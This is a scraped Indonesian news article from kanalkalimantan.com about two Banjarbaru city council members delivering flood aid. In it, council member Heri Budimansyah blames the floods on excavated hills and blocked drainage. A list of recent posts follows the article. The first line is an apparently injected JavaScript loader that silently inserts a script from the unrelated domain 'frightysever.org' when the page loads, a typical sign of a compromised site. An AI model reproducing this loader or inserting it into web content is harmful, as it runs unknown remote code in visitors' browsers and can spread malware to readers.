(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: DPRD BANJARBARU

Dua Wakil Rakyat Salurkan Bantuan, Budi: Kawasan Perbukitan di Banjarbaru Habis


KANALKALIMANTAN.COM, BANJARBARU – Wakil rakyat ikut peduli kepada korban banjir. Seperti halnya yang dilakukan dua anggota DPRD Kota Banjarbaru dari PDI Perjuangan.
Heri Budimansyah dan Ronauli Saragi sejak beberapa hari terakhir terusmenyuplai bantuan logistik terhadap para korban banjir.

Diungkapkan Heri Budimansyah, aksi kepudlian ini selain sebagai anggota DPRD dari Fraksi PDI Perjuangan, sekaligus juga Bikers Brotherhood 1% MC Indonesia South Borneo, dimana dirinya menjadi salah satu dari anggota komunitas tersebut.

“Kami menyatukan gerakan, dimana kebetulan juga kami merupakan anggota Bikers Brotherhood. Ini merupakan bentuk kepedihan dan kepedulian hati kami untuk masyarakat yang terdampak banjir, baik warga kota Banjarbaru maupun para pengungsi dari luar kota Banjarbaru,” kata Ketua Komisi I DPRD Banjarbaru ini, Senin (18/1/2021).

Adapun bantuan berupakan kebutuhan pangan ini disuplai ke sejumlah posko-posko pengungsian warga yang tersebar di berbagai Kelurahan. Seperti di Posko Kelurahan Mentaos, Posko Karang Karuna Fajar Mulia, Kelurahan Loktabat Selatan dan Posko BAGUNA PDI Perjuangan DPC Kota Banjarbaru.

“Dan hari ini kita baru saja mengirim bantuan ke posko pengungsian di Mess L. Beberapa posko yang kita datangi ini justru kebanyakan ditempati warga Kabupaten Banjar, bukan Banjarbaru. Memang di situasi saat ini kita tidak bisa memandang status para korban terdampak. Siapapun yang membutuhkan harus kita bantu sebisa mungkin,” terang Budi.

Atas musibah banjir yang melanda Banjarbaru pada awal tahun ini, Budi sendiri mengaku turut prihatin. Ia bersama anggota legislatif lainnya telah sejak lama mewanti-wanti pemerintah terkait potensi bencana di kota Idaman.

“Sebagaimana diketahui banjir ini sudah diperkirakan. Saat ada pertemuan dengan SKPD di lingkungan Pemko Banjarbaru, kita juga sudah sering singgung. Bahwa banjir dan sampah itu adalah masalah klasik di sebuah perkotaan,” bebernya.

Pemko Banjarbaru seharusnya bisa lebih konsentrasi dalam mengatasi permasalahan tersebut. Sebab katanya, meskipun tak dapat mengatasi faktor yang disebabkan alam, setidaknya pemerintah bisa meminimalisir dampak bencana banjir dengan mengatasi faktor lainnya.

“Faktor banjir yang bisa ditanggulangi itu ialah daya dukung dan daya tampung lingkungan. Di Banjarbaru ini kawasan perbukitannya sudah habis. Digali tanahnya, diambil dan tidak ada recovery. Sehingga di hulu kurang bisa menangkap air. Belum lagi permasalahan mata air kita yang mengalami kehancuran akibat alih fungsi pembangunan,” terang Budi.

Tak hanya itu, Budi juga menyayangkanrasa ketidakpedulian masyarakat untuk menjaga lingkungan sekitar. Sebab ujarnya beberapa drainase saluran di Banjarbaru mengalami gagal fungsi lantaran banyak sampah yang menumpuk.

“Kita menggelontorkan anggaran sudah mencapai miliaran rupiah. Tetapi faktanya banjir tidak pernah selesai. Masyarakat kita juga kurang peka terhadap lingkungan. Bencana banjir ini sudah tak bisa terhindarkan,” terangnya.

Atas semua permasalahan ini, Budi mendorong pemerintah untuk mempercepat perbaikan fasilitas dan infrastruktur ke depannya. Termasuk ujarnya menindak tegas oknum masyarakat yang dengan sengaja menutupi saluran drainase hingga meluapnya air berujung cepat naiknya debit air cepat hingga meluap.

“Bersihkan drainase kita, pulihkan kembali. Tindak tegas masyarakat yang melakukan pengecoran di halaman rumah, ruko, atau bangunannya lainnya yang menghambat saluran pembuangan air ke drainase. Jika perlu payung hukum untuk menindak oknum tersebut, kami DPRD siap membuatkan Perda-nya,” tegas Budi.
Terakhir, Budi juga meminta pemerintah untuk melarang seluruh aktivitas pengerukan tanah di wilayah Banjarbaru. Semua upaya ini diharapkan setidaknya dapat meminimalisr dampak bencana bamjir yang berkepanjangan.

“Jangan sampai ada pengerukan lagi. Jangan mikirkan PAD, kalau ujung-ujunga kita justru keluar duit lebih banyak karena dampak yang dihasilkan. Pemko harus masif berkoordinasi dengan Pemprov, semua upaya ini bisa dilakukan dengan maksimal,” lugasnya. (kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Soal Opsen Pajak Kendaraan 2025, Pemprov Kalsel Berikan Insentif Selama 6 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More

36 menit ago

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

3 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

5 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

5 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

8 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

8 jam ago

This website uses cookies.